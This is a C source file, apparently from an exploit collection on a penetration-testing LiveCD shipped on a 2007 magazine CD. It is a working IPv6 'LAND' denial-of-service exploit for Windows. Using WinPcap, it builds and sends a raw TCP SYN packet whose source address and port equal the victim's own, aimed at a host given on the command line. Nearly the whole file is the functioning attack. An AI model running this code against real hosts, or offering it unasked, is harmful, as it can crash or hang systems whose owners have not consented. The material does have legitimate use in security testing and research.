home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / network / tcpip / landipv6.c < prev    next >
C/C++ Source or Header  |  2005-05-24  |  6KB  |  242 lines

  1. //
  2. // Example usage: LandIpV6 \Device\NPF_{B1751317-BAA0-43BB-A69B-A0351960B28D} 
  3. //fe80::2a1:b0ff:fe08:8bcc 135
  4. //
  5. // Written by: Konrad Malewski.
  6. //
  7.  
  8. #include <stdlib.h>
  9. #include <stdio.h>
  10. #include <Winsock2.h>
  11. #include <ws2tcpip.h>
  12. #include <pcap.h>
  13. #include <remote-ext.h>
  14. ///////////////////////////////////////////////////////////////////////////////
  15. ///////////// from libnet /////////////
  16. /* ethernet addresses are 6 octets long */
  17. #define ETHER_ADDR_LEN 0x6
  18.  
  19. typedef unsigned char u_int8_t;
  20. typedef unsigned short u_int16_t;
  21. typedef unsigned int u_int32_t;
  22. typedef unsigned __int64 u_int64_t;
  23. /*
  24. * Ethernet II header
  25. * Static header size: 14 bytes
  26. */
  27. struct libnet_ethernet_hdr
  28. {
  29. u_int8_t ether_dhost[ETHER_ADDR_LEN];/* destination ethernet address */
  30. u_int8_t ether_shost[ETHER_ADDR_LEN];/* source ethernet address */
  31. u_int16_t ether_type; /* protocol */
  32. };
  33.  
  34. struct libnet_in6_addr
  35. {
  36. union
  37. {
  38. u_int8_t __u6_addr8[16];
  39. u_int16_t __u6_addr16[8];
  40. u_int32_t __u6_addr32[4];
  41. } __u6_addr; /* 128-bit IP6 address */
  42. };
  43.  
  44.  
  45. /*
  46. * IPv6 header
  47. * Internet Protocol, version 6
  48. * Static header size: 40 bytes
  49. */
  50. struct libnet_ipv6_hdr
  51. {
  52. u_int8_t ip_flags[4]; /* version, traffic class, flow label */
  53. u_int16_t ip_len; /* total length */
  54. u_int8_t ip_nh; /* next header */
  55. u_int8_t ip_hl; /* hop limit */
  56. struct libnet_in6_addr ip_src, ip_dst; /* source and dest address */
  57.  
  58. };
  59.  
  60. /*
  61. * TCP header
  62. * Transmission Control Protocol
  63. * Static header size: 20 bytes
  64. */
  65. struct libnet_tcp_hdr
  66. {
  67. u_int16_t th_sport; /* source port */
  68. u_int16_t th_dport; /* destination port */
  69. u_int32_t th_seq; /* sequence number */
  70. u_int32_t th_ack; /* acknowledgement number */
  71. u_int8_t th_x2:4, /* (unused) */
  72. th_off:4; /* data offset */
  73.  
  74. u_int8_t th_flags; /* control flags */
  75. u_int16_t th_win; /* window */
  76. u_int16_t th_sum; /* checksum */
  77. u_int16_t th_urp; /* urgent pointer */
  78. };
  79.  
  80. int libnet_in_cksum(u_int16_t *addr, int len)
  81. {
  82. int sum;
  83. union
  84. {
  85. u_int16_t s;
  86. u_int8_t b[2];
  87. }pad;
  88. sum = 0;
  89. while (len > 1)
  90. {
  91. sum += *addr++;
  92. len -= 2;
  93. }
  94. if (len == 1)
  95. {
  96. pad.b[0] = *(u_int8_t *)addr;
  97. pad.b[1] = 0;
  98. sum += pad.s;
  99. }
  100. return (sum);
  101. }
  102. #define LIBNET_CKSUM_CARRY(x) (x = (x >> 16) + (x & 0xffff), (~(x + (x >> 16)) 
  103. & 0xffff))
  104.  
  105. ///////////////////////////////////////////////////////////////////////////////
  106. ///////////////////////////////////////////////////////////////////////////////
  107. u_char packet[74];
  108. struct libnet_ipv6_hdr *ip6_hdr = (libnet_ipv6_hdr *) (packet + 14);
  109. struct libnet_tcp_hdr *tcp_hdr = (libnet_tcp_hdr *) (packet + 54);
  110. struct libnet_ethernet_hdr *eth_hdr = (libnet_ethernet_hdr *) packet;
  111.  
  112. u_char errbuf[1024];
  113. pcap_t *pcap_handle;
  114.  
  115.  
  116. void usage(char* n)
  117. {
  118. pcap_if_t * alldevs,*d;
  119. int i=1;
  120. fprintf(stdout,"Usage:\n"
  121. "\t %s <device> <victim> <port>\n",n);
  122.  
  123. if (pcap_findalldevs (&alldevs, (char*)errbuf) == -1)
  124. {
  125. fprintf( stderr, "Error in pcap_findalldevs ():%s\n" ,errbuf);
  126. exit(EXIT_FAILURE);
  127. }
  128. printf("Avaliable adapters: \n");
  129. d = alldevs;
  130. while (d!=NULL)
  131. {
  132. printf("\t%d) %s\n\t\t%s\n",i++,d->name,d->description);
  133. d = d->next;
  134. }
  135. pcap_freealldevs (alldevs);
  136. }
  137. ///////////////////////////////////////////////////////////////////////////////
  138. int main(int argc, char* argv[])
  139. {
  140. if ( argc<4 )
  141. {
  142. usage(argv[0]);
  143. return EXIT_FAILURE;
  144. }
  145.  
  146. int retVal;
  147. struct addrinfo hints,*addrinfo;
  148.  
  149. ZeroMemory(&hints,sizeof(hints));
  150.  
  151. WSADATA wsaData;
  152. if ( WSAStartup( MAKEWORD(2,2), &wsaData ) != NO_ERROR )
  153. {
  154. fprintf( stderr, "Error in WSAStartup():%d\n",WSAGetLastError());
  155. return EXIT_FAILURE;
  156. }
  157. //
  158. // Get MAC address of remote host (assume link local IpV6 address)
  159. //
  160.  
  161. hints.ai_family = PF_INET6;
  162. hints.ai_socktype = SOCK_STREAM;
  163. hints.ai_protocol = IPPROTO_TCP;
  164. hints.ai_flags = AI_PASSIVE;
  165.  
  166. retVal = getaddrinfo(argv[2],0, &hints, &addrinfo);
  167. if ( retVal!=0 )
  168. {
  169. WSACleanup();
  170. fprintf( stderr, "Error in getaddrinfo():%d\n",WSAGetLastError());
  171. exit(EXIT_FAILURE);
  172. }
  173.  
  174. //
  175. // Open WinPCap adapter
  176. //
  177. if ( (pcap_handle = pcap_open_live (argv[1], 1514, PCAP_OPENFLAG_PROMISCUOUS, 
  178. 100, (char*)errbuf)) == NULL )
  179. {
  180. freeaddrinfo(addrinfo);
  181. WSACleanup();
  182. fprintf(stderr, "Error opening device: %s\n",argv[1]);
  183. return EXIT_FAILURE;
  184. }
  185.  
  186. ZeroMemory(packet,sizeof(packet));
  187. struct sockaddr_in6 *sa = (struct sockaddr_in6 *) addrinfo->ai_addr;
  188.  
  189. // fill ethernet header
  190. eth_hdr->ether_dhost[0] = eth_hdr->ether_shost[0] = 0;// assume address like 
  191. 00:something;
  192. eth_hdr->ether_dhost[1] = eth_hdr->ether_shost[1] = sa->sin6_addr.u.Byte[9];
  193. eth_hdr->ether_dhost[2] = eth_hdr->ether_shost[2] = sa->sin6_addr.u.Byte[10];
  194. eth_hdr->ether_dhost[3] = eth_hdr->ether_shost[3] = sa->sin6_addr.u.Byte[13];
  195. eth_hdr->ether_dhost[4] = eth_hdr->ether_shost[4] = sa->sin6_addr.u.Byte[14];
  196. eth_hdr->ether_dhost[5] = eth_hdr->ether_shost[5] = sa->sin6_addr.u.Byte[15];
  197. eth_hdr->ether_type = 0xdd86;
  198.  
  199.  
  200. // fill IP header
  201. // source ip == destination ip
  202.  
  203. memcpy(ip6_hdr->ip_src.__u6_addr.__u6_addr8,sa->sin6_addr.u.Byte,sizeof(sa->sin6_addr.u.Byte));
  204.  
  205. memcpy(ip6_hdr->ip_dst.__u6_addr.__u6_addr8,sa->sin6_addr.u.Byte,sizeof(sa->sin6_addr.u.Byte));
  206. ip6_hdr->ip_hl = 255;
  207. ip6_hdr->ip_nh = IPPROTO_TCP;
  208. ip6_hdr->ip_len = htons (20);
  209. ip6_hdr->ip_flags[0] = 0x06 << 4;
  210. srand((unsigned int) time(0));
  211. // fill tcp header
  212. tcp_hdr->th_sport = tcp_hdr->th_dport = htons (atoi(argv[3])); // source 
  213. port equal to destination
  214. tcp_hdr->th_seq = rand();
  215. tcp_hdr->th_ack = rand();
  216. tcp_hdr->th_off = htons(5);
  217. tcp_hdr->th_win = rand();
  218. tcp_hdr->th_sum = 0;
  219. tcp_hdr->th_urp = htons(10);
  220. tcp_hdr->th_off = 5;
  221. tcp_hdr->th_flags = 2;
  222. // calculate tcp checksum
  223. int chsum = libnet_in_cksum ((u_int16_t *) & ip6_hdr->ip_src, 32);
  224. chsum += ntohs (IPPROTO_TCP + sizeof (struct libnet_tcp_hdr));
  225. chsum += libnet_in_cksum ((u_int16_t *) tcp_hdr, sizeof (struct 
  226. libnet_tcp_hdr));
  227. tcp_hdr->th_sum = LIBNET_CKSUM_CARRY (chsum);
  228. // send data to wire
  229. retVal = pcap_sendpacket (pcap_handle, (u_char *) packet, sizeof(packet));
  230. if ( retVal == -1 )
  231. {
  232. fprintf(stderr,"Error writing packet to wire!!\n");
  233. }
  234. //
  235. // close adapter, free mem.. etc..
  236. //
  237. pcap_close(pcap_handle);
  238. freeaddrinfo(addrinfo);
  239. WSACleanup();
  240. return EXIT_SUCCESS;
  241. }
  242.